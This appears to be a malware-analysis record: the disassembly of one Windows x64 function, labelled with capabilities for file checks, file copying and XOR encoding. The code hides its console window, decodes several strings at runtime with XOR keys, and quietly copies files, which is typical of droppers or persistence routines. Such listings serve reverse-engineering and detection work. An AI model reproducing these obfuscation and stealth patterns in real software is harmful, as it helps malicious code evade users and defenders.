Function at 0x140001b5c
Capabilities:
Check if file exists
Copy file
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x48]
sub rsp, 0x148
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor r14d, r14d
test rax, rax
je 0x140001b8e
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x14001ca60]
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2a4
mov eax, dword [rcx + rdi]
mov ebx, 0x130
add rbx, rdi
test al, 1
jne 0x140001bed
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x10], 1
lea rax, [rbx + 0xf]
lea rcx, [rbp - 0x31]
cmp rbx, rcx
ja 0x140001bdc
lea rcx, [rbp - 0x40]
cmp rax, rcx
jb 0x140001bdc
movdqu xmmword [rbx], xmm0
jmp 0x140001be0
movdqu xmmword [rbx], xmm0
lea rcx, [0x140014480]
call fcn.140002ca8
nop
mov r15b, 7
cmp byte [rbx + 0x10], r14b
je 0x140001c20
mov r8, r14
mov cl, r8b
and cl, r15b
shl cl, 3
movabs rdx, 0x2327bd999f9f81c5
shr rdx, cl
xor byte [rbx + r8], dl
inc r8
cmp r8, 0x10
jb 0x140001bf9
mov byte [rbx + 0x10], r14b
movdqa xmm0, xmmword [0x14001cad0]
movdqa xmm1, xmmword [0x14001cb00]
mov ecx, 0x2a0
mov eax, dword [rcx + rdi]
mov esi, 0x170
test al, 1
jne 0x140001c82
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rsi + rdi]
mov byte [rax + 0x20], 1
lea rcx, [rax + 0x1f]
lea rdx, [rbp - 0x11]
cmp rax, rdx
ja 0x140001c6e
lea rdx, [rbp - 0x30]
cmp rcx, rdx
jb 0x140001c6e
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
jmp 0x140001c75
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
lea rcx, [0x140014464]
call fcn.140002ca8
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rsi
mov qword [rbp + 0x98], r9
cmp byte [r9 + 0x20], r14b
je 0x140001cc8
mov r8, r14
mov cl, r8b
and cl, r15b
shl cl, 3
movabs rdx, 0xdff77dcf6f49fdeb
shr rdx, cl
xor byte [r8 + r9], dl
inc r8
cmp r8, 0x20
jb 0x140001ca1
mov byte [r9 + 0x20], r14b
movdqa xmm0, xmmword [0x14001cae0]
mov dword [rsp + 0x30], 0xa8b30a53
mov dword [rsp + 0x34], 0xbbb2754e
mov dword [rsp + 0x38], 0xc5ae1b50
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x300
mov eax, dword [rcx + rsi]
mov edi, 0x198
test al, 1
jne 0x140001d64
or eax, 1
mov dword [rcx + rsi], eax
lea rcx, [rdi + rsi]
mov byte [rcx + 0x1c], 1
lea rax, [rcx + 0x1b]
lea rdx, [rsp + 0x3b]
cmp rcx, rdx
ja 0x140001d42
lea rdx, [rsp + 0x20]
cmp rax, rdx
jb 0x140001d42
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x38]
mov dword [rcx + 0x18], eax
jmp 0x140001d57
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x38]
mov dword [rcx + 0x18], eax
lea rcx, [0x140014440]
call fcn.140002ca8
nop
lea r12, [rsi + rdi]
cmp byte [r12 + 0x1c], r14b
je 0x140001d9a
mov r8, r14
mov cl, r8b
and cl, r15b
shl cl, 3
movabs rdx, 0x95db052fc5cb6335
shr rdx, cl
xor byte [r8 + r12], dl
inc r8
cmp r8, 0x1c
jb 0x140001d72
mov byte [r12 + 0x1c], r14b
movdqa xmm0, xmmword [0x14001ca90]
mov dword [rsp + 0x50], 0x423068a
mov dword [rsp + 0x54], 0x69f63952
mov dword [rsp + 0x58], 0x13f03c9
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x1e0
mov eax, dword [rcx + rsi]
mov edi, 0x2e0
test al, 1
jne 0x140001e3e
or eax, 1
mov dword [rcx + rsi], eax
lea rcx, [rdi + rsi]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rsp + 0x5c]
cmp rcx, rdx
ja 0x140001e18
lea rdx, [rsp + 0x40]
cmp rax, rdx
jb 0x140001e18
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x21
jmp 0x140001e31
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x21
lea rcx, [0x14001441c]
call fcn.140002ca8
nop
lea r9, [rsi + rdi]
mov qword [rbp + 0xa0], r9
cmp byte [r9 + 0x1d], r14b
je 0x140001e79
mov r8, r14
mov cl, r8b
and cl, r15b
shl cl, 3
movabs rdx, 0xb834d216d5367e7
shr rdx, cl
xor byte [r8 + r9], dl
inc r8
cmp r8, 0x1d
jb 0x140001e52
mov byte [r9 + 0x1d], r14b
movdqa xmm0, xmmword [0x14001cb30]
movdqa xmm1, xmmword [0x14001cb20]
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x2dc
mov eax, dword [rcx + rsi]
mov edi, 0x278
test al, 1
jne 0x140001eef
or eax, 1
mov dword [rcx + rsi], eax
lea rax, [rdi + rsi]
mov byte [rax + 0x21], 1
lea rcx, [rax + 0x20]
lea rdx, [rbp + 0x10]
cmp rax, rdx
ja 0x140001ed7
lea rdx, [rbp - 0x10]
cmp rcx, rdx
jb 0x140001ed7
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0xa1
jmp 0x140001ee2
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0xa1
lea rcx, [0x1400143f8]
call fcn.140002ca8
nop
lea r9, [rsi + rdi]
mov qword [rbp + 0xa8], r9
cmp byte [r9 + 0x21], r14b
je 0x140001f2a
mov r8, r14
mov cl, r8b
and cl, r15b
shl cl, 3
movabs rdx, 0x9b3b417967055da1
shr rdx, cl
xor byte [r8 + r9], dl
inc r8
cmp r8, 0x21
jb 0x140001f03
mov byte [r9 + 0x21], r14b
movdqa xmm0, xmmword [0x14001cb10]
mov dword [rsp + 0x70], 0x1891e3de
mov dword [rsp + 0x74], 0x87d0961f
mov dword [rsp + 0x78], 0x158be391
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x194
mov eax, dword [rcx + rsi]
mov edi, 0x148
test al, 1
jne 0x140001fce
or eax, 1
mov dword [rcx + rsi], eax
lea rcx, [rdi + rsi]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rsp + 0x7c]
cmp rcx, rdx
ja 0x140001fa8
lea rdx, [rsp + 0x60]
cmp rax, rdx
jb 0x140001fa8
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x70]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x78]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x6f
jmp 0x140001fc1
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x70]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x78]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x6f
lea rcx, [0x1400143d4]
call fcn.140002ca8
nop
lea r13, [rsi + rdi]
cmp byte [r13 + 0x1d], r14b
je 0x140002002
mov r8, r14
mov cl, r8b
and cl, r15b
shl cl, 3
movabs rdx, 0xb5e3ff6f79e787bf
shr rdx, cl
xor byte [r8 + r13], dl
inc r8
cmp r8, 0x1d
jb 0x140001fdb
mov byte [r13 + 0x1d], r14b
movdqa xmm0, xmmword [0x14001ca80]
movdqa xmm1, xmmword [0x14001caa0]
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x208
mov eax, dword [rcx + rsi]
mov edi, 0x250
test al, 1
jne 0x140002078
or eax, 1
mov dword [rcx + rsi], eax
lea rax, [rdi + rsi]
mov byte [rax + 0x21], 1
lea rcx, [rax + 0x20]
lea rdx, [rbp + 0x38]
cmp rax, rdx
ja 0x140002060
lea rdx, [rbp + 0x18]
cmp rcx, rdx
jb 0x140002060
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0x2b
jmp 0x14000206b
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0x2b
lea rcx, [0x1400143b0]
call fcn.140002ca8
nop
lea r15, [rsi + rdi]
cmp byte [r15 + 0x21], r14b
je 0x1400020ac
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0x33936bbb8fbf972b
shr rdx, cl
xor byte [r8 + r15], dl
inc r8
cmp r8, 0x21
jb 0x140002085
mov byte [r15 + 0x21], r14b
movdqa xmm0, xmmword [0x14001ca70]
mov dword [rbp - 0x70], 0x69b12ea6
mov dword [rbp - 0x6c], 0x29801ddc
mov dword [rbp - 0x68], 0x6baf2fe3
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x2d8
mov eax, dword [rcx + rsi]
mov edi, 0x1c0
test al, 1
jne 0x140002147
or eax, 1
mov dword [rcx + rsi], eax
lea rcx, [rdi + rsi]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp - 0x64]
cmp rcx, rdx
ja 0x140002123
lea rdx, [rbp - 0x80]
cmp rax, rdx
jb 0x140002123
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x70]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp - 0x68]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xb9
jmp 0x14000213a
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x70]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp - 0x68]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xb9
lea rcx, [0x14001438c]
call fcn.140002ca8
nop
lea r14, [rsi + rdi]
cmp byte [r14 + 0x1d], 0
je 0x14000217d
xor r8d, r8d
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0x1bb371b907c34bcd
shr rdx, cl
xor byte [r8 + r14], dl
inc r8
cmp r8, 0x1d
jb 0x140002155
mov byte [r14 + 0x1d], 0
mov dword [rbp + 0x90], 0xd7cfcd64
mov word [rbp + 0x94], 0xe7fb
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x240
mov eax, dword [rcx + rsi]
mov edi, 0x244
test al, 1
jne 0x1400021da
or eax, 1
mov dword [rcx + rsi], eax
mov byte [rdi + rsi + 6], 1
mov eax, dword [rbp + 0x90]
mov dword [rdi + rsi], eax
movzx eax, word [rbp + 0x94]
mov word [rdi + rsi + 4], ax
lea rcx, [0x140014370]
call fcn.140002ca8
nop
add rdi, rsi
xor esi, esi
cmp byte [rdi + 6], sil
je 0x14000220f
mov r8d, esi
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0xedc1e78fafbbe305
shr rdx, cl
xor byte [r8 + rdi], dl
inc r8
cmp r8, 6
jb 0x1400021e8
mov byte [rdi + 6], sil
call fcn.14000116c
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x140002294
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
or r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], sil
jne 0x140002234
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.140002570
nop
lea rcx, [rbp - 0x60]
call fcn.140001870
mov bl, al
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002290
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000228b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000232a
call fcn.140002bcc
test bl, bl
je 0x140002311
call fcn.14000116c
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140002311
call fcn.14000116c
xor r8d, r8d
mov rdx, qword [rbp + 0xa0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140002311
call fcn.14000116c
xor r8d, r8d
mov rdx, r13
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140002311
call fcn.14000116c
xor r8d, r8d
mov rdx, r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140002311
call fcn.14000116c
mov rcx, r12
call fcn.140001360
xor eax, eax
jmp 0x140002316
mov eax, 1
add rsp, 0x148
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400089f4
int3